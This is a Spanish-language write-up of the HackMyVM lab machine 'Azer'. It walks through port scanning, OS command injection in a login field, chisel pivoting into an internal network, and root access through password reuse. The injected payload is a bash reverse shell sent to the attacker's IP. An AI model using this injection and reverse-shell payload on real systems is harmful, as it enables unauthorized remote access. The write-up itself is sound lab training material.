cd ~/blog

~/writeups/hmv/025-azer.md

025 - Azer

easy Linux hmv 25-02-2024
OS Command Injection (login)Internal network pivoting (chisel)Password reuse (root)
hackmyvm.eu/machines/machine.php?vm=Azer

~1 min de lectura


Comenzamos con un escaneo general y específico de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.38
 nmap -sCV -p80,3000 -oN 02-targeted.txt 192.168.1.38
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-25 23:53 -03
Nmap scan report for 192.168.1.38
Host is up (0.00029s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: LÖSEV | Lösemili Çocuklar Vakf\xC4\xB1
|_http-server-header: Apache/2.4.57 (Debian)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: Login Page

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.49 seconds

En http://192.168.1.38:3000/ hay un login que, al parecer, pasa los valores a un script de shell. Probamos inyección de comandos en el campo de usuario:

; bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1";

Obtenemos una shell como azer y la primera flag. Al ejecutar ip a, vemos un Docker y una interfaz hacia una red interna no accesible desde nuestra máquina, así que usamos chisel para hacer un remote port forwarding. Lo descargamos en ambas máquinas: en la nuestra como servidor, en la víctima como cliente:

 ./chisel server -p 8001 --reverse
azer@azer:/tmp$ ./chisel client 192.168.1.10:8001 R:1080:socks

Configuramos el proxy SOCKS en /etc/proxychains.conf:

socks5 127.0.0.1 1080

Creamos un script que hace curl a cada IP de la red interna:

 cat auto_curl.sh
for i in {1..254}; do
    ip="10.10.10.$i"

    curl -s $ip
done

Lo ejecutamos a través de proxychains y descubrimos un host con un texto sospechoso:

 proxychains ./auto_curl.sh
...
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.10.10:80  ...  OK
.:.AzerBulbul.:.
...

Usamos ese texto como contraseña del usuario root y funciona. Solo nos resta obtener la última flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados